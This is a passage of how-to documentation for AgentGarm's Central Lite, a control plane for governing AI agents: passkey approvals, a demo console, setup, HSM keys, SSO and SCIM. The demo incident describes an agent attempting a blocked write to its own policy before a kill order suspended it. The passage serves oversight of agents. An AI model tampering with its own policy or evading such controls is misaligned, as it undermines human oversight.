Approve with your passkey, or deny Choose “Approve with an approver passkey” and confirm with your passkey; user verification (a PIN or a biometric) is required. Central Lite checks the assertion and relays it signed, and the job's agentgarmd verifies your signature itself against the approver set before the approval counts. The agent's next try of exactly that call is allowed once, and its decision record names you and the request; a later try asks again. Answering needs the owner, admin or security role in the console, and still the approver key: a role never approves. The first time a key answers, Central Lite records the admin signed in as its holder, and from then on refuses that key from anyone else's session (who holds each approver key). “Deny” takes an optional reason, and the call stays denied until the request expires. Doing nothing leaves it denied too: Central Lite unreachable, no approver set (the agent is told “this CI job has no remote approvers”), a refused signature and an expiry all keep the call denied. 6. Know what an approval is worth Under an offline org root of two or more keys, a compromised Central Lite cannot approve alone: it can neither forge an approver's signature nor add an approver. Under Central Lite's single software root it can, since whoever controls Central Lite's host could list an approver of their own. Approvals rate B under an org root of at least two keys whose custody the org declares offline, and C under Central Lite's root; every routed and allowed call records the root's custody. No production org root exists yet: the ceremony that creates one has not been held. To stop an approver, garm-central approver revoke puts the key on the next revocation list; an approval it already gave allows nothing more. When your identity provider deprovisions a key's holder through SCIM, Central Lite refuses that key's approvals at once, and revokes it after 7 days, or at once when the holder is deleted, unless too few keys would be left for a kill order. In the job, agentgarm status shows the ci policy line: IN FORCE with the bundle's version, or why every task is refused. Revoke an approver, on the Central Lite host garm-central approver revoke --key-id --reason "left the team" Check the job's policy, in the job agentgarm status Next guide, in Running a fleet with Central Lite: Tour the fleet console in the demopreviewAll how-to guides # Tour the fleet console in the demo URL: https://agentgarm.com/docs/how-to/console-demo Docs › How-to guides › Tour the fleet console in the demo Guide 44 of 61 · Running a fleet with Central Lite Tour the fleet console in the demo Walk Central Lite's console on a fictional company's synthetic data: its machines, an incident, a kill order, costs, outbound inspection and access. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Open the fleet console in your browser with nothing to install, on Halden Robotics, a fictional company whose machines, people and spend are synthetic, and follow one path through it: the inventory, an incident from its first finding to the kill order that stopped it, a kill order of your own from request to lift, the costs, outbound inspection, and who may do what. Nothing you do there leaves your browser. On this page 1.Open the demo 2.Read the inventory 3.Follow an incident from finding to kill order 4.Request, approve and lift a kill order 5.See what the agents cost 6.See what agents upload to listed sites 7.Check who may do what 1. Open the demo Go to the console demo. It is the real fleet console with one thing changed: instead of talking to a Central Lite server, it answers itself in the page, from a synthetic world generated when the page loads, so its dates are always recent. You are signed in as an owner, so every section shows. Anything you change stays in this tab, and a reload starts afresh. Where the console would ask for your passkey, the demo shows a sheet that says what the passkey would confirm. 2. Read the inventory Inventory lists Halden's 40 machines: Macs, Windows laptops and Linux workstations, build runners and CI jobs. Each row gives the machine's sentinels, its agentgarmd and policy versions, its key custody and its last report, and the card below the table counts the machines that reported AI tools AgentGarm does not govern. The sentinels and custody are examples, not what each platform has today: that is on coverage. 3. Follow an incident from finding to kill order In Incidents, enter the task id 9ad68266-2f36-4d0d-94b3-e0b84a7fec55 and choose Show the timeline. It is a Claude Code task on a developer's laptop: secrets redacted out of a model request, a blocked write to the agent's own policy, the assurance level falling, then a kill order requested, approved by two approvers and applied, and the task suspended. The timeline also names the records the laptop could not send, as a gap, rather than hiding them. The assurance levels it shows are examples; what each agent and platform is rated today is on coverage. See also Investigate a task across the fleetRead a task's timeline in Central Lite with its gaps, export a bundle the org root's evidence key signs, verify it offline and hold its records. 4. Request, approve and lift a kill order In Kill orders, put host:ae01b0cb-4b76-4b9c-8766-d8e260c2d2ba (the machine build-runner-01) in Scope, give a reason, and choose Show what it reaches: one node. Request with a passkey opens the demo's sheet in place of your passkey; confirm it. An order for one host needs two approvers. The new order opens below the list: once the console has checked its digest, choose Approve with an approver key and confirm the sheet, twice. The order is issued, and the runner answers that it applied it. To let its tasks run again, give a reason under the order and choose Request a lift with a passkey, then open the lift from the list and approve it twice the same way. See also Stop agents across a fleetSuspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. 5. See what the agents cost Costs shows the last 30 days by default: what was ingested from the machines, what the providers' own reports reconciled, the calls and tokens, and a daily trend. Change the range, or group By vendor account (reconciled), By principal or By credential. Every call through AgentGarm's proxy is priced from its catalog of models and prices, as on a real fleet; Cursor's and GitHub Copilot's spend, which runs on their own backends, is what their usage reports bill, read by their connectors. See also Attribute AI spend by machine and personRead your enrolled machines' model spend by day, machine, provider and model, and reconcile it against your providers' own usage and cost reports. 6. See what agents upload to listed sites Outbound inspection (Beta) shows the paste, webhook and file-sharing sites Halden's policies list: what the agents sent to each, what was stopped, and the machines not yet inspecting and why. The decisions at the top include a Java tool that refuses the certificate on four Macs. Open Edit sites to see the change a policy would need, and the replay that shows what Block would have stopped before you switch to it. To see the first run an admin gets before any site is listed, open the section with nothing listed at /demo/?inspection=off#inspection and choose Choose sites. See also Roll out outbound inspection across a fleetList the sites your fleet's agents should not send secrets to, run them in Audit, read what Block would stop, then block through a canary rollout. 7. Check who may do what Roles & access lists the admins and the role each holds, over the whole organisation or a group of machines, including one suspended when the identity provider removed its person. Single sign-on, SCIM and SIEM show how sign-in, provisioning and the forwarding of security events are set up, with one SIEM sink lagging behind. See also Give people the right access in the consoleGive each Central Lite admin one of six roles, for the whole org or a host group, and know who may request a kill order and who holds each approver key. Next guide: Stand up Central LitepreviewAll how-to guides # Stand up Central Lite URL: https://agentgarm.com/docs/how-to/central-lite Docs › How-to guides › Stand up Central Lite Guide 45 of 61 · Running a fleet with Central Lite Stand up Central Lite Set up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Set up Central Lite, the self-hosted control plane for small fleets, on one Linux host: create its org and keys, sign its org root, start its one HTTPS port, register the console's first admin and a backup passkey, check every key's custody, and write its first encrypted backup. At the end it is ready to enrol machines. On this page 1.Unpack Central Lite as its own account 2.Create the org and its keys 3.Sign the org root with Central Lite's own key 4.Start the HTTPS port 5.Register the first admin and a backup passkey 6.Recover an admin who lost their passkey 7.Check every key's custody 8.Write the first backup 1. Unpack Central Lite as its own account Central Lite is one Linux binary, garm-central, with the fleet console built in. Install it from the tarball as Install Central Lite shows; no release carries the container image yet, because its base image is not pinned. Run every command as an unprivileged account, never root, that owns Central Lite's state directory, /var/lib/agentgarm-central. An unprivileged account cannot create a directory under /var/lib, so create it once as root, owned by that account; Central Lite refuses it unless it is 0700 and that account's. The commands here run as that account with the tarball's bin directory on its PATH and the default state directory; with another, add --state-dir DIR to every command. Each admin action is chained in Central Lite's audit log with the operating-system account that ran it. Create the state directory, as root, for the account that runs Central Lite sudo install -d -o "$(id -un)" -m 0700 /var/lib/agentgarm-central 2. Create the org and its keys garm-central init creates the single org: the online signing keys, the node certificate authority, the TLS key and the sealed tenant keys, and prints org with the org's id. --url is the origin nodes and browsers reach, with no path. Name a DNS host, not an IP address, since browsers refuse an IP address for passkeys; here the host is central.example on port 8443. The org is written once and never changed, and init refuses a directory that already holds one, so choose the URL before you enrol anything. --keystore chooses where the keys live. The default, auto, takes the OS keystore where there is one (the macOS keychain, or the host's TPM 2.0 on Linux), else software: 0600 files under the state directory's keys. In a container it is always software, and whoever holds the state directory then holds Central Lite's keys. pkcs11: keeps every key wrapped under a key on a PKCS#11 token, with the token's PIN in a 0600 keys/pkcs11.pin file; kms: is refused as not built. Every garm-central subcommand except serve prints its own output on stdout; stderr carries its notes and JSON log lines at warning level and above, among them, when keys are held without hardware custody, one warning that names them all (serve logs at info, with one custody warning per key), and AGENTGARM_LOG changes the level. Create the org garm-central init --url https://central.example:8443 Checked by the walk: this command ran as written on a Central Lite host. 3. Sign the org root with Central Lite's own key Nodes trust Central Lite through its org root metadata, which lists Central Lite's online keys and its TLS key, and Central Lite refuses every enrolment until one is installed. garm-central root lite signs it with a single org-root key in Central Lite's own keystore, a 1-of-1 root that nodes report as software custody whatever keystore holds the key. It prints org root metadata version 1 installed (custody software). The metadata lasts 365 days by default (--expires-days, at most 1095); run root lite again before then to sign the next version. A 1-of-1 root on the same host as the online keys means whoever controls that host can sign a new root, for example one listing an approver of their own: remote approvals under it rate C, never B. An offline root of two or more keys is signed in a ceremony (root template, then root install); no production org root exists yet, because that ceremony has not been held. Moving a Lite org to a ceremony root later means enrolling the nodes again. The same goes for fleet kill orders: nodes check each order's approver signatures against this root, so under a 1-of-1 root whoever controls the host can add an approver and issue an order alone, and every order's report says the custody is software. init created the org's evidence key, which signs Central Lite's evidence bundles of a task, and this root lists it; an org created before that key existed gets it the next time root lite runs. Sign a 1-of-1 org root garm-central root lite Checked by the walk: this command ran as written on a Central Lite host, and the output showed org root metadata version 1 installed (custody software). See also Approve a CI job's risky step from your laptopMark the commands a CI job may wait on a person for, and approve the job's request from the console with your passkey, for exactly that call, once. 4. Start the HTTPS port garm-central serve answers nodes and the console on one HTTPS port, prints garm-central listening on with the address, and runs until it is stopped, so keep it under your own service manager. It refuses to start without its keys. While it runs it sweeps records past their retention every hour and writes an encrypted backup every 24 hours, keeping the newest 7. Nodes pin Central Lite's long-lived TLS key, not its certificate. Browsers refuse passkeys on a page with a certificate error, so give the console a certificate from a public CA for that same key: garm-central tls csr writes a request signed by the key, which never leaves the keystore; an ACME client such as certbot or lego issues the certificate from it; and garm-central tls install checks the chain and installs it for the next start of serve. Renewals certify the same key, so nothing the machines pin changes. Without one, serve mints a self-signed certificate at each start, which you would have to trust on your device after every restart. Serve on port 8443 garm-central serve --listen 0.0.0.0:8443 Checked by the walk: this command ran as written on a Central Lite host. 5. Register the first admin and a backup passkey garm-central admin bootstrap prints a one-time code on stdout: it works once, for 15 minutes, only while no admin exists, and Central Lite keeps only its hash. Open Central Lite's URL in a browser: while Central Lite has no admin, the console opens on “Register the first admin” (if it shows Sign in instead, choose “First admin? Use a bootstrap code”). Enter the Bootstrap code and the Admin name (the one --name bound it to), and choose “Register a passkey”. Your authenticator asks twice: once to create the passkey and once to prove it holds it. You are then signed in to the whole console. While you hold one passkey it asks for a backup: choose “Add a backup passkey” and save it somewhere other than the first (another password manager, a phone or a security key; the browser refuses the store that already holds your first), and confirm with your first passkey. “Not now” hides it until the page is next loaded. A session lasts at most 12 hours, ends after 30 minutes idle, and a restart of serve signs everyone out. Further admins are added on the host with garm-central admin add, come from your identity provider through SCIM (Provision and remove people with SCIM), or, once you turn on garm-central sso jit on, are created at their first SSO sign-in with the role their groups map to, never owner (Sign in to the console with your identity provider). Settings → Roles & access lists the admins; adding them in the console is not built. You are an owner, the role that can do everything, and so is each admin added with admin add: give one a narrower role and remove its owner binding (Give people the right access in the console). Admins can also sign in through Okta, Entra ID or another OIDC provider, beside their passkeys, and every change still asks for a passkey (Sign in to the console with your identity provider). Print the first admin's one-time code garm-central admin bootstrap --name alice List the admins and their passkeys garm-central admin list Checked by the walk: these commands ran as written on a Central Lite host. The console's first-admin form, with the bootstrap code, the admin's name and the passkey button 6. Recover an admin who lost their passkey If an admin loses every passkey, recovery starts on Central Lite's host, as the account that runs it: garm-central admin recover --name alice prints a one-time recovery code for that admin. It works once, for 15 minutes, and a newer code replaces it. In the console, choose “Lost your passkey? Use a recovery code”, enter the Recovery code and the Admin name, and choose “Register a new passkey”: the new passkey is added and the admin is signed in with it. Every admin is alerted, and both the code and the new passkey are chained in Central Lite's audit log. Without a browser on hand, the same host account can register a FIDO2 security key with libfido2's tools. garm-central admin fido2-input prints what the key signs to create a passkey for Central Lite's host name, then what it signs to prove it holds it, and admin passkey-add registers it once both verify with user presence and verification. Make it a discoverable credential (-r), since the console signs in without a credential list; DEVICE is the key's path, which fido2-token -L lists. Every admin is alerted, and the change is chained in Central Lite's audit log. Access to that host account is the recovery path, so guard it as you guard the admins. Recovery codes are printed when needed, never ahead of time. A recovered admin's lost passkeys stay registered, since removing a passkey, or an admin by hand, is not built yet. Under SSO required, recovery codes work only for owners. Print a recovery code for an admin, on the Central Lite host garm-central admin recover --name alice Or register a FIDO2 security key for an admin, on the Central Lite host garm-central admin fido2-input --name alice > cred.in fido2-cred -M -r -v -i cred.in -o cred.out DEVICE garm-central admin fido2-input --name alice --registration cred.out > assert.in fido2-assert -G -p -v -i assert.in -o proof.out DEVICE garm-central admin passkey-add --name alice --registration cred.out --proof proof.out 7. Check every key's custody garm-central status shows the org, its URL and keystore, the org root (here 1-of-1, key_custody software and its expiry), the TLS key's hash and the node CA, then every key with its id and key_custody: org-root, policy, revocation, approval, audit-head, evidence, node-ca, tls and sealing. Below them come the nodes enrolled, the enrolment tokens, the audit chain's length, the retention in force per class and the newest backup, which reads none written until the next step. The last lines are the licence (none (community; no node limit) without one), the policy repository, the newest policy bundle and the open rollout, which on a new org read no repository configured, none published and none open. Show Central Lite's state garm-central status Checked by the walk: this command ran as written on a Central Lite host, and the output showed none written. See also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. 8. Write the first backup garm-central backup create works while serve runs. It writes a consistent copy of Central Lite's database, encrypted under a key of its own, to a new 0600 file under the state directory's backups, and prints its id, path, size and SHA-256. backup list shows every backup, newest first. Each backup's key is sealed in Central Lite's keystore, never in the file, and the keystore is not in any backup: a restore needs this same keystore. Keep the keystore (the state directory's keys under software custody) backed up under its own custody, apart from the backups. Write and list a backup garm-central backup create garm-central backup list Checked by the walk: this command ran as written on a Central Lite host. See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Next guide: Keep Central Lite's keys in a hardware security modulepreviewAll how-to guides # Keep Central Lite's keys in a hardware security module URL: https://agentgarm.com/docs/how-to/hsm-keys Docs › How-to guides › Keep Central Lite's keys in a hardware security module Guide 46 of 61 · Running a fleet with Central Lite Keep Central Lite's keys in a hardware security module Create Central Lite's org with every key wrapped under a key that never leaves your PKCS#11 token, and keep what a restore needs backed up. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Create Central Lite's org with its keystore on a PKCS#11 token: an HSM, or SoftHSM2 for a trial. Every key Central Lite holds is wrapped under one key that the token generates and never lets out, so the key files on disk open only with that token and its PIN. At the end every key reports pkcs11-wrapped custody, and you know what to keep backed up and what a wrong PIN or another token does. On this page 1.Prepare a token for Central Lite 2.Put the PIN where only Central Lite reads it 3.Create the org with its keys wrapped on the token 4.Check that every key reads pkcs11-wrapped 5.Keep the key directory and the token backed up 6.Know what a wrong PIN or another token does 1. Prepare a token for Central Lite Central Lite reaches the token through its vendor's PKCS#11 module, a shared library on the Central Lite host, and finds it by its label, agentgarm unless you name another. Initialise the token with that label and a user PIN using your HSM's own tools, and make sure the account that runs Central Lite can use the module. To try it without hardware, SoftHSM2 gives you a software token; softhsm2-util asks for the PINs when you leave them off its command line. Choose before you create the org: the keystore is recorded in the org when init runs, and an existing Central Lite cannot move its keys onto a token later. A SoftHSM2 token for a trial softhsm2-util --init-token --free --label agentgarm 2. Put the PIN where only Central Lite reads it Central Lite reads the token's user PIN from keys/pkcs11.pin in its state directory, never from its configuration or the environment. Create the state directory and its keys directory, both 0700 and owned by the account that runs Central Lite, then create the PIN file as 0600 and write the PIN into it on one line with an editor, so it never lands in your shell history. Central Lite refuses a PIN file that group or others can read, one that is not a plain file, and one that is empty. Anyone who can read this file and reach the token can unwrap Central Lite's keys, so guard the host account as you guard the token. Create the state directory, its keys directory and an empty PIN file sudo install -d -o "$(id -un)" -m 0700 /var/lib/agentgarm-central install -d -m 0700 /var/lib/agentgarm-central/keys (umask 077 && touch /var/lib/agentgarm-central/keys/pkcs11.pin) 3. Create the org with its keys wrapped on the token Give garm-central init the keystore pkcs11: followed by the module's path, and ?token= with the label when it is not agentgarm; quote it, since the shell would read ? as a pattern. On first use the token generates an AES-256 key labelled agentgarm-central-kek: sensitive, never extractable, and good only for encrypting and decrypting. Every key Central Lite holds is then 32 bytes of the token's randomness, encrypted on the token under that key, with the key's own name bound in, and stored as a 0600 .p11 file in the keys directory: the signing keys for policy, revocation, approvals and the audit head, the org root and evidence keys that root lite adds, the node certificate authority, the TLS key nodes pin, the single sign-on client key, and the sealing key that protects the tenant keys, each backup's key and the credentials Central Lite keeps. A file opens only under its own name and only with that token. Run this init instead of the one in Stand up Central Lite, since the keystore cannot be moved later; the rest of that guide stays the same. Create the org on a SoftHSM2 token labelled agentgarm garm-central init --url https://central.example:8443 --keystore 'pkcs11:/usr/lib/softhsm/libsofthsm2.so?token=agentgarm' 4. Check that every key reads pkcs11-wrapped garm-central status shows the keystore and every key with its key_custody, which reads pkcs11-wrapped for each one. That means the files at rest open only with the token: while Central Lite runs, it unwraps its keys into its own memory and signs there, so the token protects the key files, not a running Central Lite. Keeping each key inside the HSM, and a cloud KMS (kms:, which is refused rather than replaced by anything else), are not built. Nodes still report the org root of root lite as software custody: it is a single key on the same host as the online keys, whatever holds it. A production org needs an offline root of two or more keys, signed in a ceremony. This keystore has been tested against SoftHSM2; no run against a hardware HSM is recorded yet. Show every key's custody garm-central status 5. Keep the key directory and the token backed up A restore needs three things: a backup, the keys directory with its .p11 files and its secrets, and the token holding agentgarm-central-kek, with its PIN. Each backup's key is sealed in that keystore, never in the backup, and the keystore is in no backup, and every backup, scheduled ones included, and every credential Central Lite stores adds a sealed key under keys/secrets. So copy the keys directory somewhere apart from the backups after each backup, or on the same schedule: a copy taken only after init restores no later backup. AgentGarm never exports the token's key, so the only copies of it are the ones your HSM makes under its own backup or cloning scheme. If the token and every copy of its key are lost, the .p11 files open for no one: Central Lite's keys are gone, with every backup and the TLS key the machines pin. Write a backup and list them garm-central backup create garm-central backup list See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. 6. Know what a wrong PIN or another token does Central Lite fails closed. With a wrong PIN the token refuses the login, which also counts against the token's own retry limit if it has one, and Central Lite opens no keys, so serve does not start. With no token of the label in the module it says so and stops. With another token, Central Lite never makes a new key over files the old one wrapped. If the token has no agentgarm-central-kek but the keys directory holds wrapped keys, it refuses and asks you to restore the token's key rather than create another. If the token has a key of that label of its own, each wrapped file fails to unwrap under it. A copied or edited .p11 file, or one renamed to another key's name, fails the same way, and a missing sealing key beside sealed secrets is refused rather than replaced. Next guide: Sign in to the console with your identity providerpreviewAll how-to guides # Sign in to the console with your identity provider URL: https://agentgarm.com/docs/how-to/console-sso Docs › How-to guides › Sign in to the console with your identity provider Guide 47 of 61 · Running a fleet with Central Lite Sign in to the console with your identity provider Let admins open Central Lite's console through Okta, Entra ID or another OIDC provider, with roles from its groups and a passkey still behind every change. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Register Central Lite at your identity provider, point Central Lite at it, map its groups or app roles to console roles, sign in and add your passkey, require single sign-on while keeping a break-glass owner, and sign in from a SAML-only provider through a broker. At the end your admins open the console with the sign-in they already use. On this page 1.Know what single sign-on changes and doesn't 2.Register Central Lite at Okta or Entra ID 3.Point Central Lite at your provider 4.Map groups or app roles to console roles 5.Sign in, then add your passkey 6.Require SSO and keep a break-glass owner 7.Sign in from a SAML-only provider through a broker 1. Know what single sign-on changes and doesn't Central Lite speaks OpenID Connect (OIDC) to one issuer: Okta, Entra ID, Keycloak, or any other provider that publishes OIDC discovery. Single sign-on (SSO) only opens a console session. Every change you make still asks for a fresh passkey assertion over that exact change (a step-up), and nothing your provider asserts counts in its place. Remote approvals, kill-order approvals and legal-hold releases stay signatures by keys, never sign-ins. An SSO identity signs in only once it is linked to a Central Lite admin, by SCIM provisioning or by garm-central admin link; an unlinked one is refused. With just-in-time admins on (garm-central sso jit on, or the switch under Settings → Single sign-on), an unlinked identity whose groups map to a role other than owner gets a passkeyless admin at its first sign-in, named from its preferred_username before any @, with only those roles, and an owner is alerted (admin_added_by_sso). JIT never grants owner. An SSO session has the passkey session's limits: 12 hours at most, 30 minutes idle, and a restart of serve signs everyone out. Sign out ends Central Lite's session and, when the provider offers a sign-out endpoint (Okta, Entra ID and Keycloak do), sends the browser there to end your session at the provider too; the provider then sends it back to Central Lite. Okta and Entra ID never tell Central Lite that someone signed out there, so a person removed at the provider loses the console when SCIM deactivates them, or when the session's limits run out. A provider that sends OIDC back-channel logout, as Keycloak can, ends the matching sessions at once. Commands run on Central Lite's host are outside SSO and roles altogether. See also Provision and remove people with SCIMLet Okta or Entra ID create the people Central Lite knows, give them console roles from their groups, and end their access when they leave. 2. Register Central Lite at Okta or Entra ID Central Lite's redirect URI is its URL followed by /auth/oidc/callback, here https://central.example:8443/auth/oidc/callback. Register exactly that: the provider must match it character for character. Register Central Lite's URL followed by / (here https://central.example:8443/) as the sign-out (post-logout) redirect URI too, so that signing out of the console can end your session at the provider and bring you back. Okta: in the Admin Console, create an app integration of type OIDC, Web Application, with the Authorization Code grant and that sign-in redirect URI. For client authentication choose public key / private key: you paste the key Central Lite prints in the next step, so no client secret exists. Add a groups claim to the ID token, filtered by the regular expression ^agentgarm-.*, so the token carries only the groups meant for Central Lite: if more than 100 groups match, Okta refuses to issue the token at all. Assign the app to the people or groups who may sign in, and note the client id and your issuer, such as https://example.okta.com. Entra ID: register an application for this tenant only, with a Web redirect URI as above. Make an RSA certificate and key, as the sample shows, and upload the certificate under Certificates & secrets; keep the key for the next step. Define an app role for each console role you will grant, such as agentgarm.security, then, in the enterprise application, assign people or groups to those roles (assigning a group needs Entra ID P1). Note the application's client id and your tenant id. Map app roles rather than groups: a user in more than 200 groups gets a token that names no groups, and Central Lite refuses it. Make the certificate and key Entra ID's app registration takes openssl req -x509 -newkey rsa:3072 -nodes -days 365 -subj "/CN=agentgarm-central" -keyout central-oidc.key -out central-oidc.crt 3. Point Central Lite at your provider On the Central Lite host, garm-central sso oidc set fetches the issuer's discovery document and checks it: the issuer must equal the one you give byte for byte, its endpoints must be https://, and it must offer the authorization code flow and PKCE S256, which Central Lite always sends. It prints SSO configured: with the client and the redirect URI to check against the provider's. --display-name names the console's sign-in button. Okta: with neither a certificate nor a secret, Central Lite signs its client assertions with its own P-256 key, kept in its keystore, and prints paste this public key at the IdP: and the key as a JWK. Paste it into the Okta app's public keys; garm-central sso oidc jwk prints it again. Entra ID: the issuer is your one tenant's v2.0 issuer; a multi-tenant issuer is not supported, and a token from another tenant is refused as “from another issuer (or tenant)”. Give the certificate and key with --cert-file and --key-file (the key at least 2,048 bits); Central Lite seals the key in its keystore and signs with it. Set --groups-claim roles, so roles come from the app roles, and --scopes profile, which Entra needs to send the user's object id (oid), the identity SCIM links to. Another provider can use a client secret instead (--client-secret-file), sealed in the keystore too. No key or secret is ever kept in Central Lite's database, and the change is chained in its audit log without one. In the console, Settings → Single sign-on shows the configuration read-only; it is set only here. Configure Okta, on the Central Lite host garm-central sso oidc set --issuer https://example.okta.com --client-id --display-name Okta garm-central sso oidc show Or configure Entra ID, on the Central Lite host garm-central sso oidc set --issuer https://login.microsoftonline.com//v2.0 --client-id --cert-file central-oidc.crt --key-file central-oidc.key --groups-claim roles --scopes profile --display-name "Entra ID" 4. Map groups or app roles to console roles garm-central sso map gives everyone whose token carries a group, or an Entra app role, a console role at a scope (org unless you name a host group or a host). --group takes the value exactly as the token carries it: an Okta group as its groups claim sends it, or an Entra app role's value, never a display name you typed elsewhere. Central Lite works out these roles again at every sign-in, so a person removed from a group at the provider loses its role at their next sign-in; deactivating them through SCIM ends their sessions at once. --remove drops a map. In the console, Settings → Single sign-on lists the group and app role maps; adding or removing one, with SSO required, is saved with one passkey step-up. Roles can also come from SCIM groups or be bound by hand: what each role sees is in the roles guide. Map an Okta group and an Entra app role, on the Central Lite host garm-central sso map --group agentgarm-security --role security garm-central sso map --group agentgarm.viewer --role viewer The console's Single sign-on settings: the identity provider, read-only, then the group maps to roles, the two switches and the passkey saveSee also Give people the right access in the consoleGive each Central Lite admin one of six roles, for the whole org or a host group, and know who may request a kill order and who holds each approver key. 5. Sign in, then add your passkey Before anyone signs in, link their identity to an admin. With SCIM provisioning that happens for you. By hand, garm-central admin link links an admin to the issuer and the sub the provider puts in its ID token (for Okta, the user id, 00u…); for Entra ID add --oid with the user's object id, since Entra's sub differs for every application. The console's sign-in page now shows “Sign in with” and your provider's name above the passkey button. It sends you to your provider and back. If Central Lite refuses, it shows a page saying why and linking here: “Your identity is not linked to an active Central admin” (link it, as above); a user in too many groups for the token (Entra group overage: map app roles instead, or emit only “groups assigned to the application”); or a token from another issuer or tenant (check the issuer you configured). Overage and issuer refusals also raise an alert. An admin who signs in with SSO and holds no passkey gets a read-only session: a banner says so, no change is offered, and every write would need a passkey. To add the first passkey, an owner runs garm-central admin recover for that admin on the Central Lite host and passes on the one-time code (it works once, for 15 minutes). Enter it in the banner's One-time code field and choose “Register your first passkey”; your authenticator asks twice. From then on, writes ask that passkey. Link an Okta user to the admin alice, on the Central Lite host garm-central admin link --name alice --issuer https://example.okta.com --subject Print alice's one-time code for her first passkey, on the Central Lite host garm-central admin recover --name alice 6. Require SSO and keep a break-glass owner garm-central sso require on, or the SSO required switch in Settings → Single sign-on, makes passkey sign-in and recovery codes work only for admins holding owner at the whole org; the sign-in page then says “Passkey sign-in is for owners: everyone else signs in with single sign-on.” Each owner's passkey sign-in raises a High alert. An SSO admin can still redeem a code for a first passkey from their own SSO session. Keep at least two owners with passkeys for the day your provider is down or misconfigured, and sign in with them now and then, so you know the way in works. Central Lite refuses to remove the last owner binding held by an admin with a passkey, and warns while only one is left. If every console way in fails, the account that runs Central Lite on its host still can: it prints recovery codes and binds roles. Require SSO and check the owners, on the Central Lite host garm-central sso require on garm-central role list See also Stand up Central LiteSet up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. 7. Sign in from a SAML-only provider through a broker Central Lite has no SAML parser: SAML's XML signatures have a long record of bypasses even in mature libraries. A provider that speaks only SAML signs in through an OIDC broker you run, and Central Lite sees only OIDC. Keycloak is the tested broker: a realm brokers your SAML provider and offers Central Lite an OIDC client, configured as in step 3 (a client secret, or the key Central Lite prints). Don't use Dex, whose SAML connector is unmaintained. AD FS 2019 and later, PingFederate, PingOne and Google speak OIDC and need no broker; Google's token carries no groups, so roles come from SCIM or are bound by hand. The broker sees every assertion, so harden it. Run Keycloak 26.8.2 or later. In the identity provider's settings, turn on “Validate Signature” and “Want Assertions Signed”, and check both again after every metadata import. Turn IdP-initiated sign-on off: no client should have an IdP-initiated SSO URL, since that is the only defence against an assertion replay no Keycloak release fixes yet. Leave allowAdminRoleMapping off, as 26.8.0 and later default it. In the broker's client for Central Lite, set the back-channel logout URL to the one sso oidc set prints (back-channel logout URI:), so a sign-out at the broker ends the console session too. Next guide: Provision and remove people with SCIMpreviewAll how-to guides # Provision and remove people with SCIM URL: https://agentgarm.com/docs/how-to/provision-users Docs › How-to guides › Provision and remove people with SCIM Guide 48 of 61 · Running a fleet with Central Lite Provision and remove people with SCIM Let Okta or Entra ID create the people Central Lite knows, give them console roles from their groups, and end their access when they leave. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Know what SCIM creates in Central Lite, make a token, connect Okta or Entra ID, map their groups to console roles, offboard someone and watch their gateway key stop working, decide what to do with a held wave of removals, and rotate the token. At the end your identity provider decides who Central Lite knows. On this page 1.Know what SCIM creates 2.Make a token for your provider 3.Connect Okta or Entra ID 4.Map groups to console roles 5.Offboard someone and watch their key stop working 6.Decide what to do with a held wave 7.Rotate the token 1. Know what SCIM creates Your identity provider's provisioning client calls Central Lite at https://central.example:8443/scim/v2; Central Lite never calls it. Each user it sends becomes a person (a human principal) in the identity registry that every enrolled machine receives, with the user's identity at your provider, so gateway keys and costs are attributed to them. A user in a group you map to a console role also becomes a console admin, without a passkey, linked to their SSO identity when single sign-on is configured. Opt-in, a user can also be bound to a login name on every machine. Central Lite keeps only userName, the display name, externalId, active, group memberships and the login attribute you name. Everything else in the request, emails, phone numbers and addresses among it, is dropped as the request is read and never reaches the database. The provider must reach Central Lite's URL from its cloud. Entra ID can instead relay through its provisioning agent, outbound from your network (Entra ID P1); Okta's on-premises agent is supported only where Okta or a partner set it up. Central Lite's port answers SCIM over HTTP/2 and HTTP/1.1, so a provisioning client that speaks only HTTP/1.1 connects too. See also Give every agent an owner and an identityRegister each person and agent in Central Lite's identity registry, issue and revoke gateway keys, and see which identity every task belongs to. 2. Make a token for your provider garm-central scim token create makes a bearer token for one source, named for your provider, and prints it once with the base URL to give the provider. Central Lite keeps only its SHA-256. A token reads and writes only its own source's users and groups. In the console, Settings → SCIM does the same: name the source, choose “Create a token with a passkey”, and copy the token while it is shown (“Copy this token now: it will not be shown again”). Entra ID can authenticate without a long-lived token, by workload identity federation: Entra signs a short token that Central Lite checks against your tenant, the provisioning identity's object id and the audience you set with garm-central scim wif set, and answers with an access token that lasts an hour. Neither provider presents a client certificate, so there is no mutual TLS. Make a token for Okta, on the Central Lite host garm-central scim token create --name okta garm-central scim token list Or let Entra ID federate, on the Central Lite host garm-central scim wif set --tenant --object-id --audience 3. Connect Okta or Entra ID Okta: in the app integration you made for single sign-on, turn on SCIM provisioning. Give the SCIM connector base URL, userName as the unique identifier for users, and the token as an HTTP header (Bearer) authentication, then test the connection. Under To App, turn on creating users, updating their attributes and deactivating them. In the app's attribute mappings, map externalId from the expression user.getInternalProperty("id"): Okta then sends the same user id its ID tokens carry, which is how Central Lite matches a provisioned person to their sign-in. Assign the app to people or groups, and push the groups that carry roles. Entra ID: in the enterprise application, set Provisioning to Automatic, with the base URL as the Tenant URL and the token as the Secret Token, then Test Connection. In the user attribute mappings, map objectId to externalId instead of the default: Central Lite matches it to the oid in Entra's ID tokens, since Entra's sub differs per application. Provision only assigned users and groups. Try one person first with Provision on demand, which runs at once; the regular cycle runs about every 40 minutes. Provisioning groups needs Entra ID P1, and a job that mostly fails is put in quarantine by Entra. Each token may make 600 requests at once and 6,000 a minute; past that the provider is answered 429 and retries. For a large first sync, raise both with --scim-burst and --scim-per-minute on garm-central 